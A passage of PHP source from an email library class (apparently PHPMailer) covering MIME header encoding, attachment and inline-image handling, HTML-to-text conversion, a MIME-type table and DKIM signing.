     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
